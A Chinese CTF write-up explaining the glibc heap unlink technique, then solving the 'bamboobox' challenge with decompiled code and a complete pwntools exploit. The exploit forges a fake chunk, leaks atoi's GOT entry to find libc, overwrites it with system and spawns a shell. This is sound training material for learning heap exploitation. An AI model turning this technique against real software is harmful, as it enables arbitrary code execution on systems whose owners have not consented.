unlink

原理

简介

unlink 是利用 glibc 在双向链表管理空闲块时执行 fd->bk = bk; bk->fd = fd 的机制,通过伪造 chunk 的 fd 和 bk 指针,在触发 unlink 过程时实现任意地址写,从而达到控制程序执行流的经典堆利用技术。

完整利用过程

unlink的过程分成以下几步

BK = P->bk,FD = P->fd;FD ->bk =BK;BK - fd =FD。

  1. BK = P->bk,FD = P->fd。

1

  1. FD ->bk =BK

    1

  2. BK - fd =FD

    1

接下来看看我们是怎么利用它的。

比如我们有三个堆块,第一个和第三个都是正在使用的,第二个是free的,如果存在堆溢出的漏洞我们就可以利用chunk0(第一个堆块)去改写chunk1(第二个堆块)的fd和bk。

此时我们把第二个堆块的的fd = &chunk1 - 3size(32位size=4,64位size=8),bk = &chunk1 - 2size。

此时我们free chunk0它是个small chunk,然后前面不是空闲的,不会向前合并;后面是空闲的,就会向后面合并。

然后就会执行unlink,执行的时候:

1

就可以达到

1
2
chunk1 = &chunk1 -2*size
chunk1 = &chunk1 -3*size

注:为什么要设置成fd = &chunk1 - 3 * size,bk = &chunk1 - 2 * size。

因为有检查机制

1
2
3
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \

例题

题目:

main():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall main(int argc, const char **argv, const char **envp)
{
void (**v4)(void); // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v4 = (void (**)(void))malloc(0x10uLL);
*v4 = (void (*)(void))hello_message;
v4[1] = (void (*)(void))goodbye_message;
(*v4)();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
switch ( atoi(buf) )
{
case 1:
show_item();
break;
case 2:
add_item();
break;
case 3:
change_item();
break;
case 4:
remove_item();
break;
case 5:
v4[1]();
exit(0);
default:
puts("invaild choice!!!");
break;
}
}
}

add_item();

这ADD函数可以看出控制堆块的指针存在bss段上&unk_6020C8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 add_item()
{
int i; // [rsp+4h] [rbp-1Ch]
int v2; // [rsp+8h] [rbp-18h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
if ( num > 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( !v2 )
{
puts("invaild length");
return 0LL;
}
for ( i = 0; i <= 99; ++i )
{
if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
{
*((_DWORD *)&itemlist + 4 * i) = v2;
*((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);
printf("Please enter the name of item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;
++num;
return 0LL;
}
}
}
return 0LL;
}

change_item();

没有对更改的长度进行检测,存在堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 change_item()
{
int v1; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
char buf[16]; // [rsp+10h] [rbp-20h] BYREF
char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( num )
{
printf("Please enter the index of item:");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
{
printf("Please enter the length of item name:");
read(0, nptr, 8uLL);
v2 = atoi(nptr);
printf("Please enter the new name of the item:");
*(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5;
}

思路:利用堆溢出,伪造出一个已经被free的堆块,在free它附件的堆块触发unlink,从而更改相对应的指针为atoi的got表,泄露出libc的基

地址,再计算出system的地址,最后把ayoi的got表指向的地址改成system_addr,

先上exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
from pwn import *

context(os="linux", arch="amd64")
context.log_level = "info"

sh = remote("node5.buuoj.cn",28533)
# sh = process("./bamboobox")

elf = ELF("./bamboobox")
libc = ELF("./buu-ubuntu16_64-libc-2.23.so")


# ==========================================================
# 菜单API封装(仅保留这四个函数)
# ==========================================================
def show_item():
sh.sendlineafter(b"Your choice:", b"1")


def add_item(length, name):
sh.sendlineafter(b"Your choice:", b"2")
sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
sh.sendlineafter(b"Please enter the name of item:", name.encode())


def change_item(index, length, name):
sh.sendlineafter(b"Your choice:", b"3")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())
sh.sendlineafter(b"Please enter the length of item name:", str(length).encode())
sh.sendlineafter(b"Please enter the new name of the item:", name)


def remove_item(index):
sh.sendlineafter(b"Your choice:", b"4")
sh.sendlineafter(b"Please enter the index of item:", str(index).encode())


# ==========================================================
# exploit
# ==========================================================

bss = 0x6020c8

# -------------------- 堆布局 --------------------
add_item(0x80, "chunk0") # chunk0
add_item(0x80, "chunk1") # chunk1
add_item(0x10, "chunk2") # chunk2


# -------------------- 构造 fake chunk --------------------
payload = p64(0)
payload += p64(0x81)
payload += p64(bss - 3 * 8)
payload += p64(bss - 2 * 8)
payload += b'a' * (0x80 - 0x20)

# 覆盖 chunk1 的 prev_size 和 size
payload += p64(0x80)
payload += p64(0x90)

change_item(0, len(payload), payload)

# 触发 unlink
remove_item(1)


# -------------------- 泄露 atoi --------------------
atoi_got = elf.got["atoi"]

payload = p64(0) * 3
payload += p64(atoi_got)

change_item(0, len(payload), payload)

show_item()
sh.recvuntil(b"0 : ")

atoi_addr = u64(sh.recv(6).ljust(8, b"\x00"))
libc_base = atoi_addr - libc.sym["atoi"]

log.success("atoi_addr : " + hex(atoi_addr))
log.success("libc_base : " + hex(libc_base))


# -------------------- 覆盖 GOT --------------------
system_addr = libc_base + libc.sym["system"]
change_item(0, 8, p64(system_addr))

log.success("system_addr: " + hex(system_addr))


# -------------------- getshell --------------------
sh.sendlineafter(b"Your choice:", b"/bin/sh")
sh.interactive()

解释:

我们先创建三个堆块,chunk0和chunk1是用来构造fake_chunk的和触发unlink的

chunk2是用来防止与top chunk合并的。

1
2
3
# 覆盖 chunk1 的 prev_size 和 size
payload += p64(0x80)
payload += p64(0x90)

prev_size当上一个堆块是free的时候储存的是上一个堆块的大小,fake_chunk的大小是0x80所以覆盖成0x80。

size当上一个堆块是free状态的时候它的标志位应该是0,所以把0x91覆盖成0x90。

初始我们free掉chunk1,刚刚我们已经把fake_chunk构造成了free的状态,所以此时会触发unlink。

执行unlink和我们上面描述的一样,此时chunk0 = &chunk0 - 0x18 也就是bss - 0x18,所以我们将chunk0+0x18处储存的内容改成

atoi的got表,就相当于将chunk覆盖成了atoi的got,show的时候就会展示出atoi的真实地址。

计算出system的地址,此时由上面的分析可以此时chunk杯覆盖成了atoi的got表,我们更改chunk的内容就是改的atoi的真实地址。

我们把atoi的地址改成system的地址,发生/bin/sh就能成功了。

1